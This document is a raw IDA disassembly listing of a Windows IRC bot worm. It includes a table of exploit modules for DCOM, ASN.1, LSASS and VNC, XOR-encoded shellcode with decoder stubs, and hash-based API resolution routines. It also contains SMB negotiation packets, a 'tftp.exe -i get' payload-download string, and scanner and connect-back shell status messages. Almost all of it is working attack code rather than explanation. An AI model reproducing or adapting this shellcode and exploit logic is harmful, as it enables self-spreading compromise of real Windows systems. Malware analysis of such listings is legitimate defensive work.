aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset asc_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
					; "ллллллллллллллллллллллллллллллллллллллл"...
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; │		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

